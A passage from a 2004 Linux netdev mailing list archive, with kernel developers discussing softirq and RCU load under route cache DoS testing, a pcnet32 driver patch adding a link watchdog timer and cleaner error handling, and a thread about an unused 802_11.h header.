<20040330144324.GA3778@in.ibm.com> <20040330195315.GB3773@in.ibm.com> <20040330204731.GG3808@dualathlon.random> X-Mailer: VM 7.17 under Emacs 21.3.1 X-archive-position: 4355 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Content-Length: 1003 Lines: 25 Andrea Arcangeli writes: > I see what's going on now, yes my patch cannot help. the workload is > simply generating too much hardirq load, and it's like if we don't use > softirq at all but that we process the packet inside the hardirq for > this matter. As far as RCU is concerned it's like if there a no softirq > at all but that we process everything in the hardirq. > > so what you're looking after is a new feature then: > > 1) rate limit the hardirqs > 2) rate limit only part of the irq load (i.e. the softirq, that's handy > since it's already splitted out) to scheduler-aware context (not > inside irq context anymore) > 3) stop processing packets in irqs in the first place (NAPI or similar) Hello! No Andrea it pure softirq workload. Interfaces runs with irq disabled at this load w. NAPI. Softirq's are run from spin_unlock_bh etc when doing route lookup and GC. And the more fine-grained locking we do the the more do_softirq's are run. Cheers. --ro From davem@redhat.com Tue Mar 30 13:30:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 13:30:48 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ULUjKO012352 for ; Tue, 30 Mar 2004 13:30:45 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2ULUV1X023033; Tue, 30 Mar 2004 16:30:31 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2ULUVj04599; Tue, 30 Mar 2004 16:30:31 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2ULU91n016736; Tue, 30 Mar 2004 16:30:09 -0500 Date: Tue, 30 Mar 2004 13:30:00 -0800 From: "David S. Miller" To: Andrea Arcangeli Cc: kuznet@ms2.inr.ac.ru, dipankar@in.ibm.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-Id: <20040330133000.098761e2.davem@redhat.com> In-Reply-To: <20040330211450.GI3808@dualathlon.random> References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4356 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 450 Lines: 13 On Tue, 30 Mar 2004 23:14:50 +0200 Andrea Arcangeli wrote: > > There are no hardirqs in the case under investigation, remember? > > no hardirqs? there must be tons of hardirqs if ksoftirqd never runs. NAPI should be kicking in for this workload, and I know for a fact it is for Robert's case. There should only be a few thousand hard irqs per second. Until the RX ring is depleted the device's hardirqs will not be re- enabled. From andrea@suse.de Tue Mar 30 13:37:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 13:37:51 -0800 (PST) Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it [217.133.42.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ULblKO012847 for ; Tue, 30 Mar 2004 13:37:48 -0800 Received: by dualathlon.random (Postfix, from userid 500) id 2AB9E4A6D; Tue, 30 Mar 2004 23:37:42 +0200 (CEST) Date: Tue, 30 Mar 2004 23:37:42 +0200 From: Andrea Arcangeli To: "David S. Miller" Cc: kuznet@ms2.inr.ac.ru, dipankar@in.ibm.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330213742.GL3808@dualathlon.random> References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040330133000.098761e2.davem@redhat.com> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49 C012 DFA1 686E 68B9 CB43 X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC C0 4B 81 1D 8C 15 C8 E5 X-archive-position: 4357 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: netdev Content-Length: 1073 Lines: 32 On Tue, Mar 30, 2004 at 01:30:00PM -0800, David S. Miller wrote: > On Tue, 30 Mar 2004 23:14:50 +0200 > Andrea Arcangeli wrote: > > > > There are no hardirqs in the case under investigation, remember? > > > > no hardirqs? there must be tons of hardirqs if ksoftirqd never runs. > > NAPI should be kicking in for this workload, and I know for a fact it is > for Robert's case. There should only be a few thousand hard irqs per > second. > > Until the RX ring is depleted the device's hardirqs will not be re- > enabled. then Dipankar is reproducing with a workload that is completely different. I've only seen the emails from Dipankar so I couldn't know it was a NAPI load. He posted these numbers: softirq_count, ksoftirqd_count and other_softirq_count shows - CPU 0 : 638240 554 637686 CPU 1 : 102316 1 102315 CPU 2 : 675696 557 675139 CPU 3 : 102305 0 102305 that means nothing runs in ksoftirqd for Dipankar, so he cannot be using NAPI. Either that or I'm misreading his numbers, or his stats results are wrong. From jt@bougret.hpl.hp.com Tue Mar 30 13:51:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 13:51:31 -0800 (PST) Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ULpTKO013465 for ; Tue, 30 Mar 2004 13:51:29 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel11.hp.com (Postfix) with ESMTP id 8241E1C0101A; Tue, 30 Mar 2004 13:51:28 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id NAA03370; Tue, 30 Mar 2004 13:51:28 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B8R8q-0003cE-00; Tue, 30 Mar 2004 13:51:28 -0800 Date: Tue, 30 Mar 2004 13:51:28 -0800 To: Pavel Roskin Cc: netdev@oss.sgi.com Subject: Re: linux/802_11.h header Message-ID: <20040330215128.GA13891@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 4358 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 913 Lines: 29 On Tue, Mar 30, 2004 at 03:28:58PM -0500, Pavel Roskin wrote: > Hello! > > I see that include/linux/802_11.h in Linux 2.6.5-rc2-bk9 is included by > only one file, namely drivers/net/wireless/atmel_cs.c. In fact, > atmel_cs.c doesn't need it (tested by compiling it). > > The 802_11.h header contains some definitions already present in > drivers/net/wireless/ieee802_11.h, which is used by some drivers. For > instance, frame subtypes are listed in both. > > 802_11.h also has useful definitions that should be elsewhere, such as > ieee_802_3_header and ieee_802_11_802_2_header. I was tempted to use some > definitions from 802_11.h, but then realized that it may be deprecated if > nobody is using it. > > Does anybody know who wrote 802_11.h, whether it's deprecated, and if not, > why it's not used? > > -- > Regards, > Pavel Roskin Pavel, Why don't you ask Simon directly ? Have fun... Jean From brazilnut@us.ibm.com Tue Mar 30 14:18:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 14:18:24 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UMIDKO014499 for ; Tue, 30 Mar 2004 14:18:19 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2UMI55r113574; Tue, 30 Mar 2004 17:18:05 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2UMI3qJ360608; Tue, 30 Mar 2004 15:18:04 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i2UMHYY12182; Tue, 30 Mar 2004 14:17:34 -0800 From: Don Fry Message-Id: <200403302217.i2UMHYY12182@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.26-rc1] pcnet32.c To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Tue, 30 Mar 2004 14:17:34 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4359 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 9918 Lines: 351 Please apply this patch against 2.4.26-rc1 to restore the code which was added to 2.4.20 and removed from 2.4.21. This brings the 2.4 source to the equivalent level of 2.6.5 (minus the white-space only changes). --- linux-2.4.26-rc1/drivers/net/orig.pcnet32.c Mon Mar 29 11:42:05 2004 +++ linux-2.4.26-rc1/drivers/net/pcnet32.c Tue Mar 30 13:56:23 2004 @@ -30,11 +30,8 @@ DRV_NAME ".c:v" DRV_VERSION " " DRV_RELDATE " tsbogend@alpha.franken.de\n"; #include - #include -#include #include -#include #include #include #include @@ -45,16 +42,16 @@ #include #include #include -#include -#include -#include -#include - #include #include #include #include +#include +#include +#include +#include + /* * PCI device identifiers for "new style" Linux PCI Device Drivers */ @@ -103,6 +100,8 @@ #define PCNET32_DMA_MASK 0xffffffff +#define PCNET32_WATCHDOG_TIMEOUT (jiffies + (2 * HZ)) + /* * table to translate option values from tulip * to internal options @@ -223,6 +222,8 @@ * fix pci probe not increment cards_found * FD auto negotiate error workaround for xSeries250 * clean up and using new mii module + * v1.27b Sep 30 2002 Kent Yoder + * Added timer for cable connection state changes. * v1.28 20 Feb 2004 Don Fry * Jon Mason , Chinmay Albal * Now uses ethtool_ops, netif_msg_* and generic_mii_ioctl. @@ -337,6 +338,7 @@ mii:1; /* mii port available */ struct net_device *next; struct mii_if_info mii_if; + struct timer_list watchdog_timer; u32 msg_enable; /* debug message level */ }; @@ -353,6 +355,7 @@ static struct net_device_stats *pcnet32_get_stats(struct net_device *); static void pcnet32_set_multicast_list(struct net_device *); static int pcnet32_ioctl(struct net_device *, struct ifreq *, int); +static void pcnet32_watchdog(struct net_device *); static int mdio_read(struct net_device *dev, int phy_id, int reg_num); static void mdio_write(struct net_device *dev, int phy_id, int reg_num, int val); static void pcnet32_restart(struct net_device *dev, unsigned int csr0_bits); @@ -476,6 +479,14 @@ .reset = pcnet32_dwio_reset }; +#ifdef CONFIG_NET_POLL_CONTROLLER +static void pcnet32_poll_controller(struct net_device *dev) +{ + disable_irq(dev->irq); + pcnet32_interrupt(0, dev, NULL); + enable_irq(dev->irq); +} +#endif static int pcnet32_get_settings(struct net_device *dev, struct ethtool_cmd *cmd) @@ -622,6 +633,8 @@ spin_lock_irqsave(&lp->lock, flags); lp->a.write_csr(ioaddr, 0, 0x7904); + del_timer_sync(&lp->watchdog_timer); + netif_stop_queue(dev); /* purge & init rings but don't actually restart */ @@ -721,6 +734,8 @@ netif_wake_queue(dev); + mod_timer (&(lp->watchdog_timer), PCNET32_WATCHDOG_TIMEOUT); + /* Clear interrupts, and set interrupt enable. */ lp->a.write_csr(ioaddr, 0, 0x7940); spin_unlock_irqrestore(&lp->lock, flags); @@ -754,10 +769,13 @@ /* search for PCnet32 VLB cards at known addresses */ for (port = pcnet32_portlist; (ioaddr = *port); port++) { - if (!check_region(ioaddr, PCNET32_TOTAL_SIZE)) { + if (request_region(ioaddr, PCNET32_TOTAL_SIZE, "pcnet32_probe_vlbus")) { /* check if there is really a pcnet chip on that ioaddr */ - if ((inb(ioaddr + 14) == 0x57) && (inb(ioaddr + 15) == 0x57)) + if ((inb(ioaddr + 14) == 0x57) && (inb(ioaddr + 15) == 0x57)) { pcnet32_probe1(ioaddr, 0, 0, NULL); + } else { + release_region(ioaddr, PCNET32_TOTAL_SIZE); + } } } } @@ -786,6 +804,10 @@ printk(KERN_ERR PFX "architecture does not support 32bit PCI busmaster DMA\n"); return -ENODEV; } + if (request_region(ioaddr, PCNET32_TOTAL_SIZE, "pcnet32_probe_pci") == NULL) { + printk(KERN_ERR PFX "io address range already allocated\n"); + return -EBUSY; + } return pcnet32_probe1(ioaddr, pdev->irq, 1, pdev); } @@ -808,6 +830,7 @@ struct net_device *dev; struct pcnet32_access *a = NULL; u8 promaddr[6]; + int ret = -ENODEV; /* reset the chip */ pcnet32_wio_reset(ioaddr); @@ -820,7 +843,7 @@ if (pcnet32_dwio_read_csr(ioaddr, 0) == 4 && pcnet32_dwio_check(ioaddr)) { a = &pcnet32_dwio; } else - return -ENODEV; + goto err_release_region; } chip_version = a->read_csr(ioaddr, 88) | (a->read_csr(ioaddr,89) << 16); @@ -828,7 +851,7 @@ printk(KERN_INFO " PCnet chip version is %#x.\n", chip_version); if ((chip_version & 0xfff) != 0x003) { printk(KERN_INFO PFX "Unsupported chip version.\n"); - return -ENODEV; + goto err_release_region; } /* initialize variables */ @@ -891,7 +914,7 @@ default: printk(KERN_INFO PFX "PCnet version %#x, no PCnet32 chip.\n", chip_version); - return -ENODEV; + goto err_release_region; } /* @@ -912,8 +935,10 @@ dev = alloc_etherdev(0); if (!dev) { printk(KERN_ERR PFX "Memory allocation failed.\n"); - return -ENOMEM; + ret = -ENOMEM; + goto err_release_region; } + SET_NETDEV_DEV(dev, &pdev->dev); printk(KERN_INFO PFX "%s at %#3lx,", chipname, ioaddr); @@ -981,14 +1006,12 @@ } dev->base_addr = ioaddr; - if (request_region(ioaddr, PCNET32_TOTAL_SIZE, chipname) == NULL) - return -EBUSY; /* pci_alloc_consistent returns page-aligned memory, so we do not have to check the alignment */ if ((lp = pci_alloc_consistent(pdev, sizeof(*lp), &lp_dma_addr)) == NULL) { printk(KERN_ERR PFX "Consistent memory allocation failed.\n"); - release_region(ioaddr, PCNET32_TOTAL_SIZE); - return -ENOMEM; + ret = -ENOMEM; + goto err_free_netdev; } memset(lp, 0, sizeof(*lp)); @@ -997,6 +1020,8 @@ spin_lock_init(&lp->lock); + SET_MODULE_OWNER(dev); + SET_NETDEV_DEV(dev, &pdev->dev); dev->priv = lp; lp->name = chipname; lp->shared_irq = shared; @@ -1020,10 +1045,9 @@ lp->options |= PCNET32_PORT_FD; if (!a) { - printk(KERN_ERR PFX "No access methods\n"); - pci_free_consistent(lp->pci_dev, sizeof(*lp), lp, lp->dma_addr); - release_region(ioaddr, PCNET32_TOTAL_SIZE); - return -ENODEV; + printk(KERN_ERR PFX "No access methods\n"); + ret = -ENODEV; + goto err_free_consistent; } lp->a = *a; @@ -1065,20 +1089,22 @@ mdelay (1); dev->irq = probe_irq_off (irq_mask); - if (dev->irq) - printk(", probed IRQ %d.\n", dev->irq); - else { + if (!dev->irq) { printk(", failed to detect IRQ line.\n"); - pci_free_consistent(lp->pci_dev, sizeof(*lp), lp, lp->dma_addr); - release_region(ioaddr, PCNET32_TOTAL_SIZE); - return -ENODEV; + ret = -ENODEV; + goto err_free_consistent; } + printk(", probed IRQ %d.\n", dev->irq); } /* Set the mii phy_id so that we can query the link state */ if (lp->mii) lp->mii_if.phy_id = ((lp->a.read_bcr (ioaddr, 33)) >> 5) & 0x1f; + init_timer (&lp->watchdog_timer); + lp->watchdog_timer.data = (unsigned long) dev; + lp->watchdog_timer.function = (void *) &pcnet32_watchdog; + /* The PCNET32-specific entries in the device structure. */ dev->open = &pcnet32_open; dev->hard_start_xmit = &pcnet32_start_xmit; @@ -1090,6 +1116,14 @@ dev->tx_timeout = pcnet32_tx_timeout; dev->watchdog_timeo = (5*HZ); +#ifdef CONFIG_NET_POLL_CONTROLLER + dev->poll_controller = pcnet32_poll_controller; +#endif + + /* Fill in the generic fields of the device structure. */ + if (register_netdev(dev)) + goto err_free_consistent; + if (pdev) { pci_set_drvdata(pdev, dev); } else { @@ -1097,11 +1131,17 @@ pcnet32_dev = dev; } - /* Fill in the generic fields of the device structure. */ - register_netdev(dev); printk(KERN_INFO "%s: registered as %s\n",dev->name, lp->name); cards_found++; return 0; + +err_free_consistent: + pci_free_consistent(lp->pci_dev, sizeof(*lp), lp, lp->dma_addr); +err_free_netdev: + free_netdev(dev); +err_release_region: + release_region(ioaddr, PCNET32_TOTAL_SIZE); + return ret; } @@ -1212,6 +1252,12 @@ netif_start_queue(dev); + /* If we have mii, print the link status and start the watchdog */ + if (lp->mii) { + mii_check_media (&lp->mii_if, 1, 1); + mod_timer (&(lp->watchdog_timer), PCNET32_WATCHDOG_TIMEOUT); + } + i = 0; while (i++ < 100) if (lp->a.read_csr (ioaddr, 0) & 0x0100) @@ -1228,8 +1274,6 @@ lp->a.read_csr(ioaddr, 0)); - MOD_INC_USE_COUNT; - return 0; /* Always succeed */ err_free_ring: @@ -1721,6 +1765,8 @@ struct pcnet32_private *lp = dev->priv; int i; + del_timer_sync(&lp->watchdog_timer); + netif_stop_queue(dev); lp->stats.rx_missed_errors = lp->a.read_csr (ioaddr, 112); @@ -1761,8 +1807,6 @@ lp->tx_dma_addr[i] = 0; } - MOD_DEC_USE_COUNT; - return 0; } @@ -1901,6 +1945,21 @@ return rc; } +static void pcnet32_watchdog(struct net_device *dev) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + + /* Print the link status if it has changed */ + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); + mii_check_media (&lp->mii_if, 1, 0); + spin_unlock_irqrestore(&lp->lock, flags); + } + + mod_timer (&(lp->watchdog_timer), PCNET32_WATCHDOG_TIMEOUT); +} + static void __devexit pcnet32_remove_one(struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata(pdev); -- Don Fry brazilnut@us.ibm.com From davem@redhat.com Tue Mar 30 14:22:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 14:22:59 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UMMuKO014888 for ; Tue, 30 Mar 2004 14:22:57 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2UMMf1X008063; Tue, 30 Mar 2004 17:22:41 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2UMMfj21468; Tue, 30 Mar 2004 17:22:41 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2UMMJ1n013657; Tue, 30 Mar 2004 17:22:19 -0500 Date: Tue, 30 Mar 2004 14:22:10 -0800 From: "David S. Miller" To: Andrea Arcangeli Cc: kuznet@ms2.inr.ac.ru, dipankar@in.ibm.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-Id: <20040330142210.080dbe38.davem@redhat.com> In-Reply-To: <20040330213742.GL3808@dualathlon.random> References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4360 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 524 Lines: 14 On Tue, 30 Mar 2004 23:37:42 +0200 Andrea Arcangeli wrote: > that means nothing runs in ksoftirqd for Dipankar, so he cannot be using > NAPI. > > Either that or I'm misreading his numbers, or his stats results are wrong. If these numbers are with your "if (ksoftirqd_pending()) return;" thing at the top of do_softirq() then I must agree with you. Otherwise, keep in mind what I said, and also as Robert mentioned every single local_bh_enable() is going to call do_softirq() if the count falls to zero. From andrea@suse.de Tue Mar 30 14:49:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 14:49:20 -0800 (PST) Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it [217.133.42.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UMn8KO016241 for ; Tue, 30 Mar 2004 14:49:09 -0800 Received: by dualathlon.random (Postfix, from userid 500) id A949A4A4E; Wed, 31 Mar 2004 00:49:02 +0200 (CEST) Date: Wed, 31 Mar 2004 00:49:02 +0200 From: Andrea Arcangeli To: "David S. Miller" Cc: kuznet@ms2.inr.ac.ru, dipankar@in.ibm.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330224902.GM3808@dualathlon.random> References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> <20040330142210.080dbe38.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040330142210.080dbe38.davem@redhat.com> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49 C012 DFA1 686E 68B9 CB43 X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC C0 4B 81 1D 8C 15 C8 E5 X-archive-position: 4361 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: netdev Content-Length: 1002 Lines: 18 On Tue, Mar 30, 2004 at 02:22:10PM -0800, David S. Miller wrote: > Otherwise, keep in mind what I said, and also as Robert mentioned every > single local_bh_enable() is going to call do_softirq() if the count falls > to zero. I was less concerned about the do_sofitrq in local_bh_enable, since that runs in a scheduler-aware context, so at least the timeslice is definitely accounted for and it'll schedule at some point (unlike with an hardirq flood). Actually the length of the default timeslice matters too here, lowering the max timeslice to 10msec would certainly reduce the effect. call_rcu_bh will fix the local_bh_enable too. The only problem with call_rcu_bh is how to queue the tasklets in every cpu (an IPI sounds overkill at high frequency, because effectively here we're running the rcu callbacks in a potential fast path). OTOH if we've to add a spinlock to queue the tasklet, then we might as well take a spinlock in the routing cache in the first place (at least for this workload). From proski@gnu.org Tue Mar 30 15:23:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 15:23:53 -0800 (PST) Received: from fencepost.gnu.org (fencepost.gnu.org [199.232.76.164]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UNNpKO017298 for ; Tue, 30 Mar 2004 15:23:52 -0800 Received: from proski by fencepost.gnu.org with local (Exim 4.24) id 1B8SZo-0001B7-If; Tue, 30 Mar 2004 18:23:24 -0500 Date: Tue, 30 Mar 2004 18:23:46 -0500 (EST) From: Pavel Roskin X-X-Sender: proski@marabou.research.att.com To: jt@hpl.hp.com cc: netdev@oss.sgi.com Subject: Re: linux/802_11.h header In-Reply-To: <20040330215128.GA13891@bougret.hpl.hp.com> Message-ID: References: <20040330215128.GA13891@bougret.hpl.hp.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4362 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: proski@gnu.org Precedence: bulk X-list: netdev Content-Length: 477 Lines: 16 On Tue, 30 Mar 2004, Jean Tourrilhes wrote: > > Does anybody know who wrote 802_11.h, whether it's deprecated, and if not, > > why it's not used? > > Why don't you ask Simon directly ? Because my question is not why atmel_cs uses a header it doesn't need (the answer would be likely "oops" or "just in case"). My question is why we have two headers for the same purpose in the kernel and what are we going to do with the header that is not used. -- Regards, Pavel Roskin From jt@bougret.hpl.hp.com Tue Mar 30 16:11:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 16:11:57 -0800 (PST) Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V0BfKO018889 for ; Tue, 30 Mar 2004 16:11:41 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel13.hp.com (Postfix) with ESMTP id 87B761C00FA5; Tue, 30 Mar 2004 15:39:34 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id PAA07694; Tue, 30 Mar 2004 15:39:34 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B8SpS-0004Qj-00; Tue, 30 Mar 2004 15:39:34 -0800 Date: Tue, 30 Mar 2004 15:39:34 -0800 To: Pavel Roskin Cc: netdev@oss.sgi.com Subject: Re: linux/802_11.h header Message-ID: <20040330233934.GA16711@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040330215128.GA13891@bougret.hpl.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 4363 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 791 Lines: 22 On Tue, Mar 30, 2004 at 06:23:46PM -0500, Pavel Roskin wrote: > On Tue, 30 Mar 2004, Jean Tourrilhes wrote: > > > > Does anybody know who wrote 802_11.h, whether it's deprecated, and if not, > > > why it's not used? > > > > Why don't you ask Simon directly ? > > Because my question is not why atmel_cs uses a header it doesn't need > (the answer would be likely "oops" or "just in case"). > > My question is why we have two headers for the same purpose in the kernel > and what are we going to do with the header that is not used. At some point, we had the headers of the old aironet4500 driver which looked like this one, but I don't think this driver was ever moved to the wireless directory, so this is why I think this file was added with the Atmel driver. > Pavel Roskin Jean From dlstevens@us.ibm.com Tue Mar 30 16:14:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 16:14:12 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V0E8KO019244 for ; Tue, 30 Mar 2004 16:14:10 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2V0E25r106598; Tue, 30 Mar 2004 19:14:02 -0500 Received: from d03nm121.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2V0DxqK351222; Tue, 30 Mar 2004 17:14:00 -0700 Subject: [PATCH] fix IGMPv3 timer initialization when device not "upped" To: davem@redhat.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Tue, 30 Mar 2004 17:13:44 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF168 